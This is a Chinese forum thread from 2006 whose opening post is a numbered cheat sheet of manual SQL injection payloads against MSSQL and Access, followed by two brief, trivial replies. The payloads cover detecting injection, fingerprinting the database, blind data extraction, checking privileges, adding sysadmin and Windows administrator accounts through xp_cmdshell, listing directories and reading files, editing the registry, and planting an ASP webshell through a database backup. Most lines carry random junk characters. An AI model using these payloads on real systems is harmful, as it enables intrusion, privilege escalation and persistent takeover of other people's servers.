社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4430阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 g(9\r  
  2.初步判断是否是mssql ;and user>0 4s{_(gy  
y]z^e\qc)  
  3.注入参数是字符'and [查询条件] and ''=' WGG Va  
mn5"kYy?  
  4.搜索时没过滤参数的'and [查询条件] and '%25'=' 3F/05}d`  
]yzqBbV  
  5.判断数据库系统 }M9R5!=q  
}PdHR00^  
  ;and (select count(*) from sysobjects)>0 mssql A>SXc%K  
q '6gj  
  ;and (select count(*) from msysobjects)>0 access $M `%A  
iGCA>5UE  
a-P 'h1hbH  
"Zu hN(-`  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 {|{}]B  
~hJ/&,vH!  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ;THb6Jz/+  
M!KHBr  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ubq4Zv7'   
hN~]$"@2  
  9.(1)猜字段的ascii值(access) *Ey5F/N}$H  
,(%?j]_P2  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 <4caG2~q  
#1>DV@^F  
  (2)猜字段的ascii值(mssql) q(N2 #di  
|sa{!tKJ  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0  pt`^4}  
iti~RV,  
  10.测试权限结构(mssql) K2= `.  
pI__<  
pv:7kgod  
V !Cu%4  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- z0XH`H|~  
pP1|/f5n`  
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- X)-9u8  
.I6:iB  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- }7`HJ>+m)H  
H<^*V8J 'w  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 41pk )8~pt  
l~f>ve|  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- H|E{n/g  
|2!!>1k  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- XxN=vL&m  
lkj^<%N"r  
  ;and 1=(select IS_MEMBER('db_owner'));-- Q}a, f75  
;(]O*{F7k  
RoL5uha,l  
Bl)znJ^  
  11.添加mssql和系统的帐户 Rnl 4  
^LA.Y)4C2%  
  ;exec master.dbo.sp_addlogin username;-- 8{mQmG4  
  ;exec master.dbo.sp_password null,username,password;-- h)O<bI8  
WYHr'xJ  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- Iyo ey  
@B<B#  
  ;exec master.dbo.xp_cmdshell 'net user username password t>04nN_@,s  
eSV_.uvsb  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- [1I>Bc&o*  
(r&e|  
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- I'23$IzPA  
n@3(bl5{  
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- XIv{jzgF  
(6jr}kP  
=1rq?M eX  
a$Lry?pb  
  12.(1)遍历目录 1P"akc  
`(SWE+m1g  
  ;create table dirs(paths varchar(100), id int) LGxQ>f[V  
?DAW~+,!7o  
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' P'4oI0Bw  
S6.N)7y  
  ;and (select top 1 paths from dirs)>0 o6@Hj+,,  
Dv7/eRt  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) f8>S<:  
:z;}:+7n  
gk%8iT  
R~z@voM*<  
  (2)遍历目录 U}c[oA  
un+U_|>c  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- lX)RG*FlTC  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 4JF8S#8B  
Ri,8rf0u  
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 IIN"'7Z^R  
M6ol/.G[  
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 *`}4]OGv.  
6Y#-5oE u/  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Vrz6<c-'B  
Q77iMb]  
2>s@2=Aq  
YNGG> ;L  
  13.mssql中的存储过程 Ov vM)?^#  
>s@6rNgf  
  xp_regenumvalues 注册表根键, 子键 Cm4$&?  
HvITw%`  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 yIS.'mK  
tDuQ+|~M  
  xp_regread 根键,子键,键值名 P,S$qD*4  
sFR'y.  
  ;exec xp_regread 8[\(*E}d!X  
HJY_l  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 {J:ZM"GS  
uUAib<wdPL  
  xp_regwrite 根键,子键, 值名, 值类型, 值 V^qZ~US  
Vt_NvPB`  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 F8q&v"  
;pU#3e+P8  
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 L{>XT  
]rEFWA  
  xp_regdeletevalue 根键,子键,值名 gE,i Cx  
)N{Qpbh  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 jni }om  
48.2_H<  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 8T5s6EmIOW  
E6);\SJG}  
>$gWeFu  
x\ : x`k@  
  14.mssql的backup创建webshell bSW!2#~  
8G?{S.%.  
  use model TQx''$j\  
{u BpM9KT  
  create table cmd(str image); %@<}z|.4  
/rd6p{F  
  insert into cmd(str) values (''); ~rBeJZ  
%eoO3"//  
  backup database model to disk='c:\l.asp'; &A=q_  
_ ?f~UvK  
U!@3['  
]Y|Y?  
  15.mssql内置函数 &`7tX.iMlh  
T-=sC=sS,  
  ;and (select @@version)>0 获得Windows的版本号 -I1Ne^DZn4  
Pnb?NVP!^9  
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa Y(WX`\M97  
^>?gFvWB%  
  ;and (select user_name())>0 爆当前系统的连接用户 5 ^}zysY`  
Im{I23.2  
  ;and (select db_name())>0 得到当前连接的数据库 _oxc~v\<  
<Bc J;X/  
mw<LNnT{8  
5S'89 r3m  
  16.简洁的webshell XUU l*5^  
89F^I"Im(  
  use model dMsX}=EI<  
'?+q3lps  
  create table cmd(str image); #vhxW=L`=  
imdfin?=   
  insert into cmd(str) values (''); RdlcJxM  
EEQW$W1@  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八